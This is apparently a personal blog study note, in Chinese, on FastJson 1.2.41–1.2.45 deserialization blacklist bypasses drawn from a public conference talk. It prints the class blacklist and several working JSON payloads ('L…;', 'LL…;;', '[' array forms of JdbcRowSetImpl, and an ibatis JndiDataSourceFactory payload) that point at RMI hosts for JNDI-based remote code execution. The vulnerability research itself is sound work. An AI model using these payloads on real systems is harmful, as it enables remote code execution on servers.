先知议题 Java反序列化实战_廖新喜 FastJson1.2.41-1.2.45 浅析
学习自阿里先知公开的资料,感谢每一位分享技术的大佬
https://xz.aliyun.com/t/2400 作者博客:http://xxlegend.com
文档中提到了FastJson 1.2.41-1.2.45版本的反序列化漏洞绕过,都是较新的版本,目前的最新版是1.2.47。还提到了Weblogic,后面再学习
值得注意的是这些版本默认不再开启@type,需要设置vm options -Dfastjson.parser.autoTypeSupport=true开启
文档中提到是由于loadClass的锅
找到FastJson 1.2.41版本的loadClass方法,位于/com/alibaba/fastjson/util/TypeUtils.java,代码如下:
loadClass方法对传入的className进行了字符串截取
传入的className以 [ 开头会通过className.substring(1)删除 [ 字符
以 L 开头且以 ; 结尾则通过className.substring(1, className.length() - 1)删除 L 和 ; 字符
可以猜出是通过添加 [ L ;字符来绕过了检测
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"}"; System.out.println(JSON.parse(payload));
实例化黑名单类会报错误:autoType is not support. com.sun.rowset.JdbcRowSetImpl
String payload2 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"}"; System.out.println(JSON.parse(payload2));
加上 L ; 后能够实例化
搜索报错信息 autoType is not support 发现来自于/com/alibaba/fastjson/parser/ParserConfig.java,断点调试之
发现类黑名单在denyList里,黑名单检测在loadClass之前,相当于先通过 Lcom.sun. 绕过了 com.sun. 黑名单检测,检测后执行到loadClass方法时又去除了 L 符号
1.2.41版本黑名单如下
0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.apache.xalan"
17 = "org.codehaus.groovy.runtime"
18 = "org.hibernate"
19 = "org.jboss"
20 = "org.mozilla.javascript"
21 = "org.python.core"
22 = "org.springframework"
不很明白为什么FastJson在loadClass时候要去除 L ; [ ,我只知道在字节码有这样的写法,还要努力学习啊 T_ T
总而言之通过 Lcom.sun.rowset.JdbcRowSetImpl; 实现了RCE,但是当使用 [com.sun.rowset.JdbcRowSetImpl 的时候 却出现了 create instance error 错误,而文档中却缺少相关细节,
自己找了下原因发现在loadClass里,对于 [ 和 L; return的东西是有区别的
以 [ 开头return如下,return为class [Lcom.sun.rowset.JdbcRowSetImpl;,若是 L; 则为com.sun.rowset.JdbcRowSetImpl;
Class componentType = com.sun.rowset.JdbcRowSetImpl.class; System.out.println(Array.newInstance(componentType, 0).getClass());
很蛋疼的是这里我不会用 [ 进行构造了,请教了下园长师傅告诉我 L是表示引用类型,[表示的是数组,在微博问廖大牛则是给了我他的github地址在里面找到了构造好的exp
String payload3 = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true]} ";//1.2.43因为它实例化的是object数组,所以后面也要传数组
接着切换到1.2.42版本
发现Lcom.sun.rowset.JdbcRowSetImpl;不行了,这个版本黑名单貌似加密了,存在denyHashCodes里,文档中也提到了黑名单经过加密
但是由于太菜并没有整明白是怎么修复的这个问题,莫非是把Lcom.sun.也加入了黑名单?
简单测了下倒是发现org.springframework在41版本在黑名单42版本却不在、看了下github的commits发现黑名单更新挺频繁,感觉可以写个脚本扫一下某些项目的源码是否存在利用来尝试绕过黑名单
文档中提到的绕过方式是 LLcom.sun.rowset.JdbcRowSetImpl;;
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"}"; System.out.println(JSON.parse(payload));
因为当className.startsWith("L") && className.endsWith(";")时候return loadClass(newClassName, classLoader),实际上是递归方法,所以不管有多少层 L ; 都会被去除,[ 也是一样可以多层
文档中提到1.2.43绕过是利用 [ ,已经分析过了,直接切换到1.2.45版本
文档中给的exp如下
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
这个exp依赖于第三方包ibatis,直接绕过了黑名单
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory也是利用的jndi注入,调用setproperties方法传入data_source,不过话说这里不是应该传Properties类型的值么==|||
总而言之文档是过完了,进一步知道了自己有多么的菜,继续努力吧。。。
标签: 反序列化漏洞
你是衣冠楚楚的人 而我只是一个打满补丁的猴子
-
小博客一个,没必要伤害她
热门文章
存档
标签
最新评论
- yz
想想你喜欢什么,想做什么,找好一个自己的... - 小屿
@Jahan:testfun1024#p... - Jahan
Hello dear Xia0 i a... - brave
@万:你的手机应该是anroid7.0以... - jhsy
新版的cookie机制应该又变了. 而且... - 小屿
@janto:无兴趣 - janto
新版的这些好像不起作用了,deviceI... - hunk
正在研究,可否发一份新源码?todz$1... - miffy
请问可以加个好友咨询下吗? - vegetableChicken
@Snkrs:我也遇到和你一样的问题了,...
发表评论: